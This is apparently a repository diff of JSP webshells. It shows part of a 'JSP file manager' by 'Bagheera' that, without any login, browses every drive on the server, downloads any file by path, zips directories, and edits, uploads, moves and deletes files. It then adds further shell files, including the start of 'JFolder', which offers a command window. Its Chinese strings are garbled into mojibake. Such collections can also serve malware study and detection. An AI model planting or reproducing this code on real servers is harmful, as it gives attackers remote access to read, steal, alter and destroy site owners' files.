File dir_file = new File(""+request.getAttribute("dir"));
|
||||||
|
int dir_l = dir_file.getAbsolutePath().length();
|
||||||
|
response.setContentType ("application/zip");
|
||||||
|
response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\"");
|
||||||
|
out.clearBuffer();
|
||||||
|
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
|
||||||
|
zipout.setComment("Created by JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1.001");
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (f.canRead()){
|
||||||
|
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l+1)));
|
||||||
|
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int b;
|
||||||
|
while ((b=fr.read())!=-1) zipout.write(b);
|
||||||
|
fr.close();
|
||||||
|
zipout.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
zipout.finish();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if (request.getParameter("downfile")!=null){
|
||||||
|
String filePath = request.getParameter("downfile");
|
||||||
|
File f = new File(filePath);
|
||||||
|
if (f.exists()&&f.canRead()) {
|
||||||
|
response.setContentType ("application/octet-stream");
|
||||||
|
response.setHeader ("Content-Disposition", "attachment;filename=\""+f.getName()+"\"");
|
||||||
|
response.setContentLength((int) f.length());
|
||||||
|
BufferedInputStream fileInputStream = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int i;
|
||||||
|
out.clearBuffer();
|
||||||
|
while ((i=fileInputStream.read()) != -1) out.write(i);
|
||||||
|
fileInputStream.close();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
out.println("<html><body><h1><3E>ļ<EFBFBD>"+f.getAbsolutePath()+
|
||||||
|
"<22><><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8></h1></body></html>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else{
|
||||||
|
if (request.getAttribute("dir")==null){
|
||||||
|
request.setAttribute ("dir", application.getRealPath("."));
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=gb2312">
|
||||||
|
<style type="text/css">
|
||||||
|
.login { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666; width:320px; }
|
||||||
|
.header { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; color: #666666; font-weight: bold; }
|
||||||
|
.tableHeader { background-color: #c0c0c0; color: #666666;}
|
||||||
|
.tableHeaderLight { background-color: #cccccc; color: #666666;}
|
||||||
|
.main { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
.copy { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #999999;}
|
||||||
|
.copy:Hover { color: #666666; text-decoration : underline; }
|
||||||
|
.button {background-color: #c0c0c0; color: #666666;
|
||||||
|
border-left: 1px solid #999999; border-right: 1px solid #999999;
|
||||||
|
border-top: 1px solid #999999; border-bottom: 1px solid #999999}
|
||||||
|
.button:Hover { color: #444444 }
|
||||||
|
td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
A { text-decoration: none; }
|
||||||
|
A:Hover { color : Red; text-decoration : underline; }
|
||||||
|
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
|
||||||
|
</style>
|
||||||
|
<script type="text/javascript">
|
||||||
|
<!--
|
||||||
|
var check = false;
|
||||||
|
function dis(){
|
||||||
|
check = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
var DOM = 0, MS = 0, OP = 0;
|
||||||
|
function CheckBrowser() {
|
||||||
|
if (window.opera) OP = 1;
|
||||||
|
if(document.getElementById) {
|
||||||
|
DOM = 1;
|
||||||
|
}
|
||||||
|
if(document.all && !OP) {
|
||||||
|
MS = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function selrow (element, i){
|
||||||
|
CheckBrowser();
|
||||||
|
var erst;
|
||||||
|
if ((OP==1)||(MS == 1)) erst = element.firstChild.firstChild;
|
||||||
|
else if (DOM == 1) erst = element.firstChild.nextSibling.firstChild;
|
||||||
|
//MouseIn
|
||||||
|
if (i == 0)
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
||||||
|
else element.style.backgroundColor = '#eeeeee';
|
||||||
|
//MouseOut
|
||||||
|
else if (i == 1){
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
|
||||||
|
else element.style.backgroundColor = '#ffffff';
|
||||||
|
}
|
||||||
|
//MouseClick
|
||||||
|
else if ((i == 2)&&(!check)){
|
||||||
|
if (erst.checked == true) element.style.backgroundColor = '#eeeeee';
|
||||||
|
else element.style.backgroundColor = '#dddddd';
|
||||||
|
erst.click();
|
||||||
|
}
|
||||||
|
else check = false;
|
||||||
|
}
|
||||||
|
//-->
|
||||||
|
</script>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
//<2F>ϴ<EFBFBD>
|
||||||
|
if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){
|
||||||
|
response.setContentType("text/html");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
boolean error = false;
|
||||||
|
try{
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir);
|
||||||
|
if (ht.get("myFile")!=null){
|
||||||
|
FileInfo fi = (FileInfo)ht.get("myFile");
|
||||||
|
File f = fi.file;
|
||||||
|
//<2F><><EFBFBD>ļ<EFBFBD><C4BC>ӻ<EFBFBD><D3BB><EFBFBD>Ŀ¼<C4BF>︴<EFBFBD>Ƴ<EFBFBD><C6B3><EFBFBD>
|
||||||
|
String path = (String)ht.get("dir");
|
||||||
|
if (!path.endsWith(File.separator)) path = path+File.separator;
|
||||||
|
if (!f.renameTo(new File(path+f.getName()))){
|
||||||
|
request.setAttribute("message", "<22><EFBFBD><DEB7>ϴ<EFBFBD><CFB4>ļ<EFBFBD>.");
|
||||||
|
error = true;
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD>!");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
request.setAttribute("dir", (String)ht.get("dir"));
|
||||||
|
}
|
||||||
|
catch (Exception e){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>´<EFBFBD><C2B4><EFBFBD>:"+e+". <20>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>!");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
if (!error) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>.");
|
||||||
|
}
|
||||||
|
else if (request.getParameter("editfile")!=null){
|
||||||
|
%>
|
||||||
|
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D>༭<EFBFBD>ļ<EFBFBD>:<%=request.getParameter("editfile")%></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<%
|
||||||
|
String encoding="gb2312";
|
||||||
|
request.setAttribute("dir", null);
|
||||||
|
File ef = new File(request.getParameter("editfile"));
|
||||||
|
BufferedReader reader = new BufferedReader(new FileReader(ef));
|
||||||
|
String disable = "";
|
||||||
|
if (!ef.canWrite()) disable = "<22><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
|
||||||
|
out.print("<form action=\""+browser_name+"\" method=\"Post\">\n"+
|
||||||
|
"<textarea name=\"text\" wrap=\"off\" cols=\""+
|
||||||
|
EDITFIELD_COLS+"\" rows=\""+EDITFIELD_ROWS+"\""+">"+disable);
|
||||||
|
|
||||||
|
String c;
|
||||||
|
while ((c =reader.readLine())!=null){
|
||||||
|
c=substr(c,"&", "&");
|
||||||
|
c=substr(c,"<", "<");
|
||||||
|
c=substr(c,">", ">");
|
||||||
|
c=substr(c,"\"", """);
|
||||||
|
out.print(c+"\n");
|
||||||
|
}
|
||||||
|
reader.close();
|
||||||
|
%></textarea>
|
||||||
|
<input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
|
||||||
|
<table><tr>
|
||||||
|
<td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>"></td>
|
||||||
|
<td><input type="Submit" name="Submit" value="<22><><EFBFBD><EFBFBD>"></td>
|
||||||
|
<td><input type="Submit" name="Submit" value="ȡ<><C8A1>"></td></tr>
|
||||||
|
<tr><td><input type="checkbox" name="Backup" checked><3E><>д</td></tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if (request.getParameter("nfile")!=null){
|
||||||
|
File f = new File(request.getParameter("nfile"));
|
||||||
|
File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
|
||||||
|
if (request.getParameter("Submit").equals("Save")){
|
||||||
|
if (new_f.exists()&&request.getParameter("Backup")!=null){
|
||||||
|
File bak = new File(new_f.getAbsolutePath()+".bak");
|
||||||
|
bak.delete();
|
||||||
|
new_f.renameTo(bak);
|
||||||
|
}
|
||||||
|
BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
|
||||||
|
outs.write(request.getParameter("text"));
|
||||||
|
outs.flush();
|
||||||
|
outs.close();
|
||||||
|
}
|
||||||
|
request.setAttribute("dir", f.getParent());
|
||||||
|
}
|
||||||
|
//ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
boolean error = false;
|
||||||
|
for (int i=v.size()-1;i>=0;i--){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (!f.canWrite()||!f.delete()){
|
||||||
|
request.setAttribute("message", "<22><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>ļ<EFBFBD>"+f.getAbsolutePath()+". ɾ<><C9BE>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted");
|
||||||
|
else if (!error) request.setAttribute("message", "No files selected");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ŀ¼
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir (dir, dir_name);
|
||||||
|
if (new File(new_dir).mkdirs()){
|
||||||
|
request.setAttribute("message", "Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼"+new_dir+"ʧ<><CAA7>");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String file_name = request.getParameter("cr_dir");
|
||||||
|
String new_file = getDir (dir, file_name);
|
||||||
|
//Test, if file_name is empty
|
||||||
|
if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){
|
||||||
|
if (new File(new_file).createNewFile()) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"+new_file+"ʧ<><CAA7>");
|
||||||
|
}
|
||||||
|
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD>: "+file_name+"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||||
|
}
|
||||||
|
//ת<><D7AA><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
String dir = ""+request.getAttribute("dir");
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir(dir, dir_name);
|
||||||
|
boolean error = false;
|
||||||
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
||||||
|
for (int i=v.size()-1;i>=0;i--){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>"+f.getAbsolutePath()+".ת<><D7AA>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), true);
|
||||||
|
String dir = (String)request.getAttribute("dir");
|
||||||
|
if (!dir.endsWith(File.separator)) dir+=File.separator;
|
||||||
|
String dir_name = request.getParameter("cr_dir");
|
||||||
|
String new_dir = getDir(dir, dir_name);
|
||||||
|
boolean error = false;
|
||||||
|
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
|
||||||
|
byte buffer[] = new byte[0xffff];
|
||||||
|
try{
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f_old = (File)v.get(i);
|
||||||
|
File f_new = new File(new_dir+f_old.getAbsolutePath().substring(dir.length()));
|
||||||
|
if (f_old.isDirectory()) f_new.mkdirs();
|
||||||
|
else if (!f_new.exists()){
|
||||||
|
InputStream fis = new FileInputStream (f_old);
|
||||||
|
OutputStream fos = new FileOutputStream (f_new);
|
||||||
|
int b;
|
||||||
|
while((b=fis.read(buffer))!=-1) fos.write(buffer, 0, b);
|
||||||
|
fis.close();
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
request.setAttribute("message", "<22><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>"+f_old.getAbsolutePath()+",<2C>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
error = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException e){
|
||||||
|
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>"+e+".<2E><><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>");
|
||||||
|
error = true;
|
||||||
|
}
|
||||||
|
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
|
||||||
|
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
|
||||||
|
}
|
||||||
|
//Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
|
||||||
|
if ((request.getAttribute("dir")!=null)){
|
||||||
|
%>
|
||||||
|
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>:<%=request.getAttribute("dir")%></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<table>
|
||||||
|
<tr><td>
|
||||||
|
<% if (request.getAttribute("message")!=null){
|
||||||
|
out.println("<table border=\"0\" width=\"100%\"><tr><td bgcolor=\"#FFFF00\" align=\"center\">");
|
||||||
|
out.println(request.getAttribute("message"));
|
||||||
|
out.println("</td></tr></table>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<form action="<%= browser_name %>" method="Post">
|
||||||
|
<table border="1" cellpadding="1" cellspacing="0" width="100%">
|
||||||
|
<%
|
||||||
|
String dir = URLEncoder.encode(""+request.getAttribute("dir"));
|
||||||
|
String cmd = browser_name+"?dir="+dir;
|
||||||
|
out.println("<th bgcolor=\"#c0c0c0\"></th><th title=\"<22><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=1\"><3E>ļ<EFBFBD><C4BC><EFBFBD></a></th>"+
|
||||||
|
"<th title=\"<22><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=2\"><3E><>С</th>"+
|
||||||
|
"<th title=\"<22><><EFBFBD><EFBFBD><EFBFBD>ڳ<EFBFBD><DAB3><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=3\"><3E><><EFBFBD><EFBFBD></th>"+
|
||||||
|
"<th bgcolor=\"#c0c0c0\"> </th><th bgcolor=\"#c0c0c0\"> </th>");
|
||||||
|
char trenner=File.separatorChar;
|
||||||
|
File f=new File(""+request.getAttribute("dir"));
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>߷<EFBFBD><DFB7><EFBFBD>
|
||||||
|
File[] entry=File.listRoots();
|
||||||
|
for (int i=0;i<entry.length;i++){
|
||||||
|
out.println("<tr bgcolor='#ffffff'\">");
|
||||||
|
out.println("<td><3E><><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><span style=\"background-color: rgb(255,255,255);color:rgb(255,0,0)\">");
|
||||||
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
||||||
|
String buf = entry[i].getAbsolutePath();
|
||||||
|
out.println("<22><><a href=\""+browser_name+"?dir="+name+"\">["+buf+"]</a>");
|
||||||
|
out.println("</td></tr>");
|
||||||
|
|
||||||
|
}
|
||||||
|
out.println("<br>");
|
||||||
|
//..
|
||||||
|
if (f.getParent()!=null){
|
||||||
|
out.println("<tr bgcolor='#ffffff' onmouseover=\"this.style.backgroundColor = '#eeeeee'\" onmouseout=\"this.style.backgroundColor = '#ffffff'\">");
|
||||||
|
out.println("<td></td><td>");
|
||||||
|
out.println("<a href=\""+browser_name+"?dir="+URLEncoder.encode(f.getParent())+"\">[..]</a>");
|
||||||
|
out.println("</td></tr>");
|
||||||
|
}
|
||||||
|
//<2F>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼
|
||||||
|
entry=f.listFiles();
|
||||||
|
if (entry!=null&&entry.length>0){
|
||||||
|
int mode=1;
|
||||||
|
if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort"));
|
||||||
|
Arrays.sort(entry, new FileComp(mode));
|
||||||
|
String ahref = "<a onmousedown=\"javascript:dis();\" href=\"";
|
||||||
|
for (int i=0;i<entry.length;i++){
|
||||||
|
String name = URLEncoder.encode(entry[i].getAbsolutePath());
|
||||||
|
String link;
|
||||||
|
String dlink = " ";
|
||||||
|
String elink = " ";
|
||||||
|
String buf = entry[i].getName();
|
||||||
|
if (entry[i].isDirectory()){
|
||||||
|
if (entry[i].canRead())
|
||||||
|
link = ahref+browser_name+"?dir="+name+"\">["+buf+"]</a>";
|
||||||
|
else
|
||||||
|
link = "["+buf+"]";
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if (entry[i].canRead()){
|
||||||
|
if (entry[i].canWrite()){
|
||||||
|
link=ahref+browser_name+"?file="+name+"\">"+buf+"</a>";
|
||||||
|
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
|
||||||
|
elink=ahref+browser_name+"?editfile="+name+"\"><3E>༭</a>";
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
link=ahref+browser_name+"?file="+name+"\"><i>"+buf+"</i></a>";
|
||||||
|
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
|
||||||
|
elink=ahref+browser_name+"?editfile="+name+"\"><3E>鿴</a>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
link = buf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified()));
|
||||||
|
out.println("<tr bgcolor='#ffffff' onmouseup = \"javascript:selrow(this, 2);\" "+
|
||||||
|
"onmouseover=\"javascript:selrow(this, 0);\" onmouseout=\"javascript:selrow(this, 1);\">");
|
||||||
|
out.println("<td><input type=\"checkbox\" name=\"selfile\" value=\""+name+"\" onmousedown=\"javascript:dis();\"></td>");
|
||||||
|
out.println("<td>"+link+"</td><td align=\"right\">"+entry[i].length()+
|
||||||
|
" bytes</td><td align=\"right\">"+
|
||||||
|
date+"</td><td>"
|
||||||
|
+dlink+"</td><td>"+elink+"</td></tr>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</table>
|
||||||
|
<table>
|
||||||
|
<input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
||||||
|
<tr>
|
||||||
|
<td title="<22><><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Save as zip"></td>
|
||||||
|
<td colspan="2" title="ɾ<><C9BE><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Delete Files"></td></tr>
|
||||||
|
<tr>
|
||||||
|
<td><input type="text" name="cr_dir"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Create Dir"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Create File"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Move Files"></td>
|
||||||
|
<td><input class="button" type="Submit" name="Submit" value="Copy Files"></td></tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<form action="<%= browser_name %>" enctype="multipart/form-data" method="POST">
|
||||||
|
<table cellpadding="0">
|
||||||
|
<tr>
|
||||||
|
<td><input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
|
||||||
|
<input type="file" name="myFile"></td>
|
||||||
|
<td><input type="Submit" class="button" name="Submit" value="Upload"></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</form>
|
||||||
|
<hr>
|
||||||
|
<center><small>JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 By Bagheera<a href="http://jmmm.com">http://jmmm.com</a>
|
||||||
|
</small></center>
|
||||||
|
</td></tr></table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
2317
jsp/ma3.jsp
Normal file
2317
jsp/ma3.jsp
Normal file
File diff suppressed because it is too large
Load Diff
1780
jsp/ma4.jsp
Normal file
1780
jsp/ma4.jsp
Normal file
File diff suppressed because it is too large
Load Diff
995
jsp/no.jsp
Normal file
995
jsp/no.jsp
Normal file
@@ -0,0 +1,995 @@
|
|||||||
|
<%
|
||||||
|
/**
|
||||||
|
JFolder V0.9 windows platform
|
||||||
|
@Filename<6D><65> JFolder.jsp
|
||||||
|
@Description<6F><6E> һ<><D2BB><EFBFBD><EFBFBD>ϵͳ<CFB5>ļ<EFBFBD>Ŀ¼<C4BF><C2BC>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>
|
||||||
|
@Author<6F><72> Steven Cee
|
||||||
|
@Email <20><> cqq1978@Gmail.com
|
||||||
|
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
*/
|
||||||
|
%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||||
|
<%!
|
||||||
|
private final static int languageNo=0; //<2F><><EFBFBD>汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
|
||||||
|
String strThisFile="JFolder.jsp";
|
||||||
|
String[] authorInfo={" <font color=red> д<>IJ<EFBFBD><C4B2>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ð<EFBFBD> - - by <20><><EFBFBD><EFBFBD>ǿ http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
|
||||||
|
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
|
||||||
|
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
|
||||||
|
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
|
||||||
|
String[] strHelp = {"<22><> <20><>","Help"};
|
||||||
|
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
|
||||||
|
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
|
||||||
|
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
|
||||||
|
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
|
||||||
|
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
|
||||||
|
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Last Modified"};
|
||||||
|
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
|
||||||
|
String[] strFileEdit = {"<22><EFBFBD>","Edit"};
|
||||||
|
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
|
||||||
|
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
|
||||||
|
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
|
||||||
|
String[] strExecute = {"ִ<><D6B4>","Execute"};
|
||||||
|
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
|
||||||
|
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
|
||||||
|
|
||||||
|
public class FileHandler
|
||||||
|
{
|
||||||
|
private String strAction="";
|
||||||
|
private String strFile="";
|
||||||
|
void FileHandler(String action,String f)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class UploadMonitor {
|
||||||
|
|
||||||
|
